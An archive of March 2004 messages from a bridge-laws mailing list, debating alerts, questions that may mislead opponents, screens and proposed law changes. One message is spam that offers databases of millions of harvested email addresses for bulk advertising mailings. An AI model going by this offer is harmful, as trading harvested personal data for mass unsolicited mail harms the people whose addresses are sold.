> So without screens in theory the only sensible thing to do > is to ask about every alerted call (and whenever you suspect > an alert failure). Strange that regulators still fail to see > this obvious truth. Also because this prevents any UI to partner, > your asking is automatic. Don't worry I know very well why this > won't work. It slows down the game. It creates tons of different > UI, in general it is not to your advantage to ask questions during > murky sequences. [Nigel -- for the umpteenth time] There is no panacea but... If, as suggested previously, you had an *explain card* instead of an *alert card*, then it would be faster than asking about all bids; and avoid the UI of asking about specific bids. (1) At the beginning of each set of boards, each partnership must decide whether or not to face its *explain card*. (2) If opponents' *explain card* is not faced, then you must not alert/explain your calls until after the auction is over; During the auction, alerts/explanations would be potential UI. But after the auction, you must offer to explain it. (3) If opponents' *explain card* is faced, then you must explain partner's "alertable" calls, as they are made; Also, if in doubt as to whether a call is alertable, then you must explain it - so that opponents are protected from the problem of "I thought it probably wasn't alertable". I have an unconfirmed intuition that Grattan Endicott is sympathetic to this suggestion. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.604 / Virus Database: 384 - Release Date: 02/03/2004 From cibor@poczta.fm Mon Mar 8 01:07:20 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: 08 Mar 2004 02:07:20 +0100 Subject: [blml] Catch-22 Message-ID: <20040308010720.605DD2D2244@front.interia.pl> Jaap wrote: >Also something quite dangerous. Because bidding something without > asking might mean something else than bidding after asking. I don't mean > 'agreements' but being practical. If you want to bid hearts natural there > are situations it is better not to ask to prevent someone from giving an > answer that makes your natural bid impossible.=20 Exactly. I remember Balicki trying to get an adjustment from a TD (nut to no avail) when the opponents found an easy counter-defense (withour prior agreement!) to the "Lambda" defense over Polish Club. [the defense is x =3D H 1D =3D S, 1H =3D C + H or D + S, 1S =3D C + S or D = + H 1NT =3D H + S or C + D] The bidding went: (1C*) 1S* (x) * Polish ** Lambda Opener was able to diagnose the meaning of the double without any preparation or prior discussion with his partner ("we play Lambda over your 1C", "OK, go ahead"). When responder simply doubled 1S withouth asking about its meaning opener could deduce that the double was negative (showing hearts). On the next table another responder first asked and then doubled and it was=20 obvious for opener the the doubled showed spades. I agree with Jaap - the problem is unsolvable as long as you don't play with screens. Konrad Ciborowski Krak=F3w, Poland =0A__________________=0AKonrad Ciborowski Krak=F3w, Poland From richard.hills@immi.gov.au Mon Mar 8 04:49:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 8 Mar 2004 14:49:39 +1000 Subject: [blml] Explain Message-ID: Unconfirmed Nigel Guthrie: [snip] >(3) If opponents' *explain card* is faced, then you must >explain partner's "alertable" calls, as they are made; >Also, if in doubt as to whether a call is alertable, then >you must explain it - so that opponents are protected from >the problem of "I thought it probably wasn't alertable". > >I have an unconfirmed intuition that Grattan Endicott is >sympathetic to this suggestion. Irresolute WBF Laws Commission Minutes, Monaco: [snip] "Mr Wignall spoke of the possibility of asking questions randomly whether interested or not. He felt there needed to be some scope for asking questions even when not interested in the reply. "Mr Schoder referred to the possibility of replacing alerts with announcements. There was no final resolution of the differences of opinion and no agreed interpretation of the Law. It was acknowledged that it is a matter that the laws drafting subcommittee will have to consider and its proposals for the future should be presented clearly in its drafts." [snip] -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From gesta@tiscali.co.uk Mon Mar 8 07:44:05 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 8 Mar 2004 07:44:05 -0000 Subject: [blml] Explain References: Message-ID: <000f01c404e1$3d10a430$ab05e150@multivisionoem> Grattan Endicott To: Sent: Monday, March 08, 2004 4:49 AM Subject: Re: [blml] Explain Unconfirmed Nigel Guthrie: [snip] >(3) If opponents' *explain card* is faced, then you must >explain partner's "alertable" calls, as they are made; >Also, if in doubt as to whether a call is alertable, then >you must explain it - so that opponents are protected from >the problem of "I thought it probably wasn't alertable". > >I have an unconfirmed intuition that Grattan Endicott is >sympathetic to this suggestion. Irresolute WBF Laws Commission Minutes, Monaco: [snip] There was no final resolution of the differences of opinion and no agreed interpretation of the Law. It was acknowledged that it is a matter that the laws drafting subcommittee will have to consider and its proposals for the future should be presented clearly in its drafts." [snip] +=+ Quote: "The Secretary expressed his concern about the potential of questions to mislead opponents and drew attention to the requirement where this is alleged to have happened (and the questioner could have known that asking the question might work to his benefit) to show (Law 73F2) that he had a "demonstrable bridge reason" for asking the question." Unquote. Uppermost in my mind is the belief that the primary duty of the player is to opponents and that he must subordinate his personal interests (in not revealing when he is interested and when he is not interested) to this duty of care for opponents. The subject is thorny and the only progress in Monaco was in identifying how difficult it is. ~ G ~ +=+ From jaapvanderneut@hotmail.com Mon Mar 8 09:12:15 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 8 Mar 2004 10:12:15 +0100 Subject: [blml] Explain References: Message-ID: RJH (in a way): . Mr Wignall spoke of the possibility of asking questions randomly whether interested or not .. There is a huge difference between (not) being interested in bidding at this stage and being interested in what is going on (in order to be prepared for a next turn). The latter is a valid bridge reason to ask by any standard. So this quote is rather meaningless. Jaap ----- Original Message ----- From: To: Sent: Monday, March 08, 2004 5:49 AM Subject: Re: [blml] Explain Unconfirmed Nigel Guthrie: [snip] >(3) If opponents' *explain card* is faced, then you must >explain partner's "alertable" calls, as they are made; >Also, if in doubt as to whether a call is alertable, then >you must explain it - so that opponents are protected from >the problem of "I thought it probably wasn't alertable". > >I have an unconfirmed intuition that Grattan Endicott is >sympathetic to this suggestion. Irresolute WBF Laws Commission Minutes, Monaco: [snip] "Mr Wignall spoke of the possibility of asking questions randomly whether interested or not. He felt there needed to be some scope for asking questions even when not interested in the reply. "Mr Schoder referred to the possibility of replacing alerts with announcements. There was no final resolution of the differences of opinion and no agreed interpretation of the Law. It was acknowledged that it is a matter that the laws drafting subcommittee will have to consider and its proposals for the future should be presented clearly in its drafts." [snip] ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From schuster@eduhi.at Mon Mar 8 09:42:49 2004 From: schuster@eduhi.at (Petrus Schuster OSB) Date: Mon, 08 Mar 2004 10:42:49 +0100 Subject: [blml] Windfall ? Message-ID: When declarer leads from the wrong hand, either defender may accept the lead or demand that it be retracted. But strangely, this choice is not AI to partner if you follow the interpretation of L16 favoured by Eminent Sources. As both accepting and refusing the lead as well leaving the choice to partner may be relevant to partner's choice of play at a later trick, 16A seems to be a wonderful law for sloppy (or crafty?) declarers. Mildly bemused, -- Petrus From jaapvanderneut@hotmail.com Mon Mar 8 09:54:24 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 8 Mar 2004 10:54:24 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> Message-ID: Grattan: > Uppermost in my mind is the belief that the primary > duty of the player is to opponents and that he must > subordinate his personal interests (in not revealing when > he is interested and when he is not interested) to this duty > of care for opponents. Here we differ. I see no conflict between taking care of opps and not revealing info. IMO the problem is that you seem to work from the assumption that a question should show someting (interested in bidding right now). Starting from there it is true that you might mislead Grattan when asking a question against Grattan when not being interested in bidding right now. But this Grattan presumption is nowhere in the rules. The rules state clearly that you can ask what you want. And it is also obvious to any serious player that is normal to ask against artificial sequences just to make sure you have some rough idea what they are doing in order not to be caught unprepared at a later stage when you might get a cuebid-double-or-not type of problem. The problem is different. The problem is all the (U)I the asking generates. See my yesterday mail. The problem is unsolvable without screens. Once you accept this sad truth the WBFLC might use their limited energy to solve some solvable problems. Anyway I normally play with screens. And when playing with screens most players routinely ask most/all alerted calls. Simple because they want to know what is going on, not because they necessarily feel like bidding right now. And with screens all the related unsolvable (U)I problems don't exist. By the way, I have never really analyzed the explain procedure. It probably has some advantages (it solves bidding with/without asking) and some disadvantages (cumbersome, most players don't like all this extra info between partners). Anyway without screens it suffers IMO from the same fundamental unsolvable problems as alerts. You want maximum info to opps and minimum info to partner. Impossible without screens. If you don't believe me just let average players (who never/rarely play with screens) play some sessions with screens. You will be amazed at the things that can and will happen because they lose all the vocal and nonvocal (U)information they are used to > The subject is thorny and the only > progress in Monaco was in identifying how difficult it is. Thorny maybe but there are good and complete analyses of the problems around for ages. If after all these years the WBFLC can only identify it, something is really wrong. I would call it incompetence or a political deadlock (which amounts to the same thing). The problem itself is quite simple. Concepts like full disclosure, preventing UI, freedom of systems, etc. don't really fit together. So some political decisions need to be made about priorities. If you have no idea where to start have a look at the French situation. In France the UI situation is IMHO better than anywhere else in the world. First they all play more or less the same system (France is historically and culturally a rather centralistic place) which means few questions. Second they play way more competitions (also medium level) with screens than any other country. Now I understand you cannot export this model for zillions of reasons but it is an interesting example. But not perfect. In France I have run into real cheating more than once at festival type of tournaments (no screens, no security, stationary NS tables very near each other, and big prizes ....). Now maybe that is an explanation why France is a leader on screens. It is a French guy (Damiani) who really introduced screens in the international scene. Jaap ----- Original Message ----- From: To: Sent: Monday, March 08, 2004 8:44 AM Subject: Re: [blml] Explain > > Grattan Endicott ++++++++++++++++++++++++++++++++ > "If all the earth were paper white > And all the sea were ink, > 'Twere not enough for me to write > As my poor heart doth think." > [John Lyly, 1554-1606] > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: > To: > Sent: Monday, March 08, 2004 4:49 AM > Subject: Re: [blml] Explain > > Unconfirmed Nigel Guthrie: > > [snip] > > >(3) If opponents' *explain card* is faced, then you must > >explain partner's "alertable" calls, as they are made; > >Also, if in doubt as to whether a call is alertable, then > >you must explain it - so that opponents are protected from > >the problem of "I thought it probably wasn't alertable". > > > >I have an unconfirmed intuition that Grattan Endicott is > >sympathetic to this suggestion. > > Irresolute WBF Laws Commission Minutes, Monaco: > > [snip] > > There was no final resolution of the differences > of opinion and no agreed interpretation of the Law. > It was acknowledged that it is a matter that the laws > drafting subcommittee will have to consider and > its proposals for the future should be presented > clearly in its drafts." > > [snip] > +=+ Quote: "The Secretary expressed his concern about > the potential of questions to mislead opponents and drew > attention to the requirement where this is alleged to have > happened (and the questioner could have known that > asking the question might work to his benefit) to show > (Law 73F2) that he had a "demonstrable bridge reason" > for asking the question." Unquote. > Uppermost in my mind is the belief that the primary > duty of the player is to opponents and that he must > subordinate his personal interests (in not revealing when > he is interested and when he is not interested) to this duty > of care for opponents. The subject is thorny and the only > progress in Monaco was in identifying how difficult it is. > ~ G ~ +=+ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From zxe@hotmail.com Mon Mar 8 10:46:00 2004 From: zxe@hotmail.com (zxe@hotmail.com) Date: Mon, 8 Mar 2004 18:46:00 +0800 Subject: [blml] (*SPAM*) Hello Message-ID: Email Marketing ! We offer you e-mail addresses databases for advertisement mailing; we sell databases also carry out mailing and hosting for the advertising projects. Products World Email Lists . Their validity and originality are verified. Country or area total emails and price America 175 Million Email Address $220 US Europe 156 Million Email Address $250 US Asia 168 Million Email Address $150 US China(PRC) 80 Million Email Address $200 US HongKong 3.25 Million Email Address $200 US TaiWan 2.25 Million Email Address $200 US Japan 27 Million Email Address $200 US Australia 6 Million Email Address $150 US Canda 10 Million Email Address $150 US Russia 38 Million Email Address $120 US England 3.2 Million Email Address $200 US German 20 Million Email Address $200 US France 38 Million Email Address $150 US India 12 Million Email Address $120 US CENTRAL & SOUTH AMERICAN AREA 40 Million Email Address $220 US MIDDLE EAST & AFRICA 45 million Email Address $220 US SOUTH EAST AREA 32 million Email Address $220 US other Country or Area ¡­¡­¡­¡­¡­¡­ order email : emailwd3@tom.com ---------------------------------------------------------------------------- Category Name total emails total price Apparel, Fashion, Textiles and Leather 4,654,565 $150 $100 US Automobile & Transportation 6,547,845 Business Services 6,366,344 Chemicals 3,445,565 Computer & Telecommunications 654,655 Construction & Real Estate 3,443,544 Consumer Electronics 1,333,443 Energy, Minerals & Metals 6,765,683 Environment 656,533 All Email Total: 150 U.S Food & Agriculture 1,235,354 Gems & Jewellery 565,438 Health & Beauty 804,654 Home Supplies 323,232 Industrial Supplies 415,668 Office Supplies 1,559,892 Packaging & Paper 5,675,648 Printing & Publishing 6,563,445 Security & Protection 5,653,494 Sports & Entertainment 3,488,455 Toys, Gifts and Handicrafts 2,135,654 --------------------------------------------------------------------------------------------- ¡¤All 136 nations , 40 trades email lists total price $500 US --------------------------------------------------------------------------------------------- $100 US V4.03 $200 US V3.0 $200 US $100 US --------------------------------------------------------------------------------------------- ¡¤All of Country email lists + email sender express +add url express + etrae express =$600 US --------------------------------------------------------------------------------------------- Details and order Click Here to web site: http://vod.xzdvd.com/www/wd/wd3.htm There are some sample download. order email : emailwd3@tom.com If you can't see website ,please email us contact: emailwd3@tom.com Thank you! the silver star internet information company copyright¡¤2004-2005 all reserved ------------------------------------------------------------ remove please email: emailad1234@sina.com ------------------------------------------------------------ From t.kooyman@worldonline.nl Mon Mar 8 12:05:54 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 8 Mar 2004 13:05:54 +0100 Subject: [blml] Windfall ? References: Message-ID: <009e01c40505$d570eea0$7ff9f1c3@LNV> > When declarer leads from the wrong hand, either defender may accept the > lead or demand that it be retracted. > But strangely, this choice is not AI to partner if you follow the > interpretation of L16 favoured by Eminent Sources. Could you be more specific? What in L16 makes this UI? And which remarks/statements by your Eminent Sources support that idea? Let me be more specific myself. Yes, L16A might support this approach. So we need to clear this. For example by saying that choices to accept or not made by opponents after irregularities are part of the legal calls and plays. But I don't remember that Eminent Sources have supported your interpretation explicitly. And I do not know a case in which a TD or even an AC has supported that interpretation. ton > As both accepting and refusing the lead as well leaving the choice to > partner may be relevant to partner's choice of play at a later trick, 16A > seems to be a wonderful law for sloppy (or crafty?) declarers. > Mildly bemused, > -- > Petrus > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Mon Mar 8 12:43:17 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 8 Mar 2004 12:43:17 +0000 Subject: [blml] Explain In-Reply-To: <000f01c404e1$3d10a430$ab05e150@multivisionoem> References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> Message-ID: <2loyF1DlpGTAFwno@blakjak.demon.co.uk> Grattan wrote >+=+ Quote: "The Secretary expressed his concern about >the potential of questions to mislead opponents and drew >attention to the requirement where this is alleged to have >happened (and the questioner could have known that >asking the question might work to his benefit) to show >(Law 73F2) that he had a "demonstrable bridge reason" >for asking the question." Unquote. > Uppermost in my mind is the belief that the primary >duty of the player is to opponents and that he must >subordinate his personal interests (in not revealing when >he is interested and when he is not interested) to this duty >of care for opponents. The subject is thorny and the only >progress in Monaco was in identifying how difficult it is. That, of course, is not the only solution. It is sometimes seen as strange that the legitimate sources of information are not only the calls and plays of the deal and the conditions of the deal [strangely not mentioned in L16] but also the mannerisms of opponents. This last is understood to include questions asked. The alternative solution to avoiding misleading opponents is to make it either [a] illegal to use the information from opponents' questions, or [b] use of information from opponents' questions is solely at own risk, and opponents are allowed to mislead with their questions. I am not saying these are better solutions, but they certainly are alternative possible solutions. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From t.kooyman@worldonline.nl Mon Mar 8 14:59:11 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 8 Mar 2004 15:59:11 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <2loyF1DlpGTAFwno@blakjak.demon.co.uk> Message-ID: <00e101c4051d$ee76cc90$7ff9f1c3@LNV> David: > The alternative solution to avoiding misleading opponents is to make > it either > [a] illegal to use the information from opponents' questions, or > [b] use of information from opponents' questions is solely at own risk, > and opponents are allowed to mislead with their questions. > > I am not saying these are better solutions, but they certainly are > alternative possible solutions. There is a much better solution which are the present laws: Use of information from opponents questions is at a player's own risk but a player is not allowed to use questions to mislead his opponents. That we consider not to be a bridge reason. As long as the question is asked to know what is going on there is an obvious bridge reason. I don't agree with Grattan that the WBFLC wasn't clear about this issue. He didn't want to accept the outcome. What really happened was that L73F2 was mentioned to support the idea that questions when the answer doesn't inluence a player's action shouldn't be asked at all. That is an EBU abberation. I do not know of any case in a long EBL and WBF history of events where redress was given to a declarer because an opponent had asked a question about a call. Nor about any declarer who wanted to appear before an AC to defend such a case by claiming damage. Mind you, I am not saying that such a case in not possible. But players within the EBL and WBF environment apparently know that asking a question to mislead an opponent creates a case for suspension. ton From Frances.Hinden@Shell.com Mon Mar 8 16:08:08 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Mon, 8 Mar 2004 16:08:08 -0000 Subject: [blml] Re: (blml) Should you point out infractions Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1761@lonsc-s-031.europe.shell.com> Ron Johnson wrote >Note however that I said play with as opposed to play against. I >hasten to add I wouldn't want a player I considered unethical >on my team as well. [DWS] Now we are back ot personal ethics versus general ethics. You are=20 saying that you will not play with someone who disagrees with your own=20 personal ethics. I think that is a singularly unfortunate view, and=20 probably untrue if taken to its extreme. If you were to investigate you = would probably find that even with the partners you do play that they=20 have one or two ideas in the ethical area where you are not in=20 agreement. [Frances] I don't think it's that unfortunate. There are a few players around I would not like as team-mates because I disagree strongly with their personal ethics (most common areas I disagree with are round full=20 disclosure and legal "intimidation" of opponents). In addition, a partnership will be more harmonious if your personal ethics are similar. [DWS] I think you should be somewhat tolerant of a player who plays within=20 the laws of the game, but not within your own personal additional=20 ethics. [Frances] Yes indeed, but there is no reason not to use personal additional ethics as a criterion for team-mates, along with all the other = non-bridge-ability factors that come into it. This is particularly true if, like me, you = play for fun not money. I would not expect a professional to turn down a game = with anyone on ethical grounds who plays within the laws.=20 From gesta@tiscali.co.uk Mon Mar 8 23:30:55 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 8 Mar 2004 23:30:55 -0000 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> Message-ID: <002201c40565$a9cd8230$8ae4403e@multivisionoem> Grattan Endicott To: ; Sent: Monday, March 08, 2004 9:54 AM Subject: Re: [blml] Explain > > I see no conflict between taking care of opps and not > revealing info. IMO the problem is that you seem to > work from the assumption that a question should show > something < +=+ My 'assumption' is that if a player asks a question which may mislead opponent he is subject to Law 73F2 in doing so. He must have a demonstrable bridge reason (sic) for asking. The following example is from play, not recently: 10 7 6 5 K Q 9 KQ J Q 7 2 o J 9 A J 10 6 3 10.6.5. A K 9 At matchpoints NS have bid 1NT - 3NT. West leads H7. South (a player of international repute) contemplates dummy, puts up the HK, which holds. South asks West about signalling methods on opening leads then plays DK. West takes Ace and continues Hearts. (East's Spades are A Q 8 2.) Is the question acceptable or was it reasonable for West to be aggrieved? ~ Grattan ~ +=+ From richard.hills@immi.gov.au Tue Mar 9 01:04:00 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 9 Mar 2004 11:04:00 +1000 Subject: [blml] Windfall ? Message-ID: Petrus Schuster: >>When declarer leads from the wrong hand, either defender may >>accept the lead or demand that it be retracted. >> >>But strangely, this choice is not AI to partner if you follow the >>interpretation of L16 favoured by Eminent Sources. [snip] Ton Kooijman: >Could you be more specific? What in L16 makes this UI? And which >remarks/statements by your Eminent Sources support that idea? > >Let me be more specific myself. Yes, L16A might support this >approach. So we need to clear this. For example by saying that >choices to accept or not made by opponents after irregularities >are part of the legal calls and plays. [snip] RJH suggestions for the 2006 versions of Law 16C1 and Law 16C2: RJH 2006 Law 16C1. Non-offending Side For the non-offending side, all information arising from an irregularity is authorised, whether the action be its own or its opponents'. RJH 2006 Law 16C2. Offending Side For the offending side, information arising from its own irregularity and from withdrawn actions of the non-offending side is unauthorised. A player of the offending side may not choose from among logical alternative actions one that could demonstrably have been suggested over another by the unauthorised information. Another advantage of my suggested 2006 version of Law 16C2, is that a controversial appeal which hinged on whether an Ace exposed during the auction was UI to pard (after the Law 24 penalty had been paid), would now also be unambiguously clarified. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From cibor@poczta.fm Tue Mar 9 00:11:12 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Tue, 9 Mar 2004 01:11:12 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> Message-ID: <003301c4056b$d2305940$08284cd5@kocurzak> ----- Original Message ----- From: "Jaap van der Neut" I wholeheartidilly agree with everything you wrote, Jaap except for the last paragraph: > If you have no idea where to start have a look at the French situation. In > France the UI situation is IMHO better than anywhere else in the world. > First they all play more or less the same system (France is historically and > culturally a rather centralistic place) which means few questions. I thiink that French alerting rules are ridiculous. One of their rules is that all 2level openers are by default natural and strong. Everybody plays 2C - ART F1 2D - ART GF 2HS - weaak two so everybody alerts these openings and nobody ask what they mean. When I played these openings 2D = multi 2HS = weak 5+-5+ my partner opened 2H, I alerted and ultumately got a good score because an opponent assumed a classical weak two. >From then on I started prealerting our 2 level openers. Also I once played with classcial strong twos. I didn't alert them but nevertheless everybody asked - "are they really strong?" The alert regs should make people alert what is atypicall - not what is merely "artificial". >Second > they play way more competitions (also medium level) with screens than any > other country. In Poland we have 16 teams in the First Division, 4 x 16 in the Second and 16 x ( 12-18 ) teams in the Third. That amounts to more than 300 teams in the first 3 divisions. All of them play with screens. Also the trials all played with screens almost from the earliest stages. Same goes for the MP Championships and many other major events. Konrad Ciborowski Krakow, Poland From jaapvanderneut@hotmail.com Tue Mar 9 00:23:02 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 9 Mar 2004 01:23:02 +0100 Subject: [blml] Explain References: <000f01c404e1$3d10a430$ab05e150@multivisionoem> <002201c40565$a9cd8230$8ae4403e@multivisionoem> Message-ID: Grattan, The way you post it I don't like this one and I feel like ruling against declarer. But I don't mind the routine question about leads and signals if it is the first board and made in normal tempo at the normal time. Even on this hand. Such a question is almost automatic for most players in short matches and at pairs (when it is not practical to study opps system in advance). The problem is once again that if you only ask when you really need the info at that ppint in time you convey info yourself. And the problem is once again that the silly WBFLC has never bothered to establish correct procedure. For me correct procedure is to ask the routine question 'leads and signals please' before or after the lead (rather random) but BEFORE I play the first card from dummy. Others might have other preferences but lots of these problems are solved at least 90% when there are some widely published official guidelines about these type of procedures. But in the original discussion it was about whether or not it was ok to ask about an alerted call more or less automatically. I would say yes to that one. The alert constitutes a bridge reason more or less by definition. The original idea of the alert was 'something worth asking about is going on'. So I don't mind someone holding xxxx xxx xxx xxx asking after an alert. A lot of people ask about alerts without actively looking at their own cards anyway. But there are some good reasons to refrain from asking sometimes that have nothing to do with (mis)leading opps. And once again that creates all kind of other problems. Play serious bridge with screens and accept that the game without screens has unsolvable flaws. Jaap ----- Original Message ----- From: To: Sent: Tuesday, March 09, 2004 12:30 AM Subject: Re: [blml] Explain > > Grattan Endicott ++++++++++++++++++++++++++++++++ > "At ev'ry word a reputation dies." > ['The Rape of the Lock'] > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: "Jaap van der Neut" > To: ; > Sent: Monday, March 08, 2004 9:54 AM > Subject: Re: [blml] Explain > > > > > I see no conflict between taking care of opps and not > > revealing info. IMO the problem is that you seem to > > work from the assumption that a question should show > > something > < > +=+ My 'assumption' is that if a player asks a question > which may mislead opponent he is subject to Law 73F2 > in doing so. He must have a demonstrable bridge reason > (sic) for asking. The following example is from play, not > recently: > > 10 7 6 5 > K Q 9 > KQ J > Q 7 2 > o > J 9 > A J 10 6 3 > 10.6.5. > A K 9 > At matchpoints NS have bid 1NT - 3NT. West leads H7. > South (a player of international repute) contemplates > dummy, puts up the HK, which holds. South asks West > about signalling methods on opening leads then plays DK. > West takes Ace and continues Hearts. (East's Spades are > A Q 8 2.) Is the question acceptable or was it reasonable > for West to be aggrieved? ~ Grattan ~ +=+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Tue Mar 9 01:24:46 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 9 Mar 2004 11:24:46 +1000 Subject: [blml] Explain Message-ID: >+=3D+ My 'assumption' is that if a player asks a question >which may mislead opponent he is subject to Law 73F2 >in doing so. He must have a demonstrable bridge reason >(sic) for asking. The following example is from play, not >recently: > >T 7 6 5 >K Q 9 >K Q J >Q 7 2 > >o > >J 9 >A J T 6 3 >T 6 5 >A K 9 > >At matchpoints NS have bid 1NT - 3NT. West leads H7. >South (a player of international repute) contemplates >dummy, puts up the HK, which holds. South asks West >about signalling methods on opening leads then plays DK. >West takes Ace and continues Hearts. (East's Spades are >A Q 8 2.) Is the question acceptable or was it reasonable >for West to be aggrieved? ~ Grattan ~ +=3D+ RJH: I would call declarer a player of international disrepute. It seems that such an expert player "could have known" that "the action would work to his benefit" by giving West a reason to believe that the South heart holding was Tx or Txx (with East expertly ducking with a holding of AJxx(x) in hearts). Of course, South could argue that South was not infracting Law 73F2, because South did have a "demonstrable bridge reason" for the question -> the reason being knowing enough about the defensive signals to give an appropriate false card from the South hand. But, as Edgar Kaplan said, "It is the card, not the tempo, which must deceive." Slightly off-topic question: Should Laws 73D2 and 73F2 be merged into one law in the 2006 edition of the Laws? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 9 01:49:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 9 Mar 2004 11:49:16 +1000 Subject: [blml] Re: (blml) Should you point out infractions Message-ID: Tim West-Meads wrote: >>>Personally I think the law should require disclosure if a >>>player subsequently becomes aware of a revoke but until >>>it does we have no grounds for criticising those who say >>>nothing. Walt wrote: >>If the law required disclosure if I subsequently became >>aware that I revoked, this would put me at a competitive >>disadvantage if I were more knowledgeable or ethical than >>the rest of the field. >> >>I think it is a very bad idea to penalize ethical behavior. Some years ago, Peter Gill wrote: >(in fact, the rare kind of player whose bridge record might >have been more glittering had he been less ethical, sad but >true to say) Richard James Hills writes: Since ethical players are always at a competitive disadvantage vis-a-vis their unethical counterparts, I support Tim in recommending that the meaning of Law 72B3 be inverted in the 2006 edition of the Laws. Sure, a small additional competitive advantage would be given to unethical players by such a Law 72B3 inversion. But a big psychological advantage would be granted to ethical players. Ethical players would no longer have the horrible dilemma of choosing between abiding by the current Law 72B3, or of choosing to infract the current Law 72B3 while abiding by their principles of fair play. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 9 02:05:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 9 Mar 2004 12:05:07 +1000 Subject: [blml] Explain Message-ID: Jaap van der Neut wrote: [big snip] >For me correct procedure is to ask the routine >question 'leads and signals please' before or after >the lead (rather random) but BEFORE I play the first >card from dummy. Others might have other preferences >but lots of these problems are solved at least 90% >when there are some widely published official >guidelines about these type of procedures. [big snip] Richard James Hills replies: The 1987 Laws introduced the concept of face-down opening leads as being the default (with an SO being permitted to regulate face-up opening leads, if that SO desired). At that time, Edgar Kaplan suggested that the ideal time for declarer to ask questions about defensive cardplay agreements was *after* the opening lead had been selected, but *before* the opening lead had been faced. Kaplan believed that this minimised the chances of a declarer's question, or a defender's response, being an infraction of Law 73F2. I agree with Jaap that it would be useful if the 2006 Laws included Kaplan's idea as the official WBF default (again with an SO being permitted to regulate alternatives to the default, if that SO desired). Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain 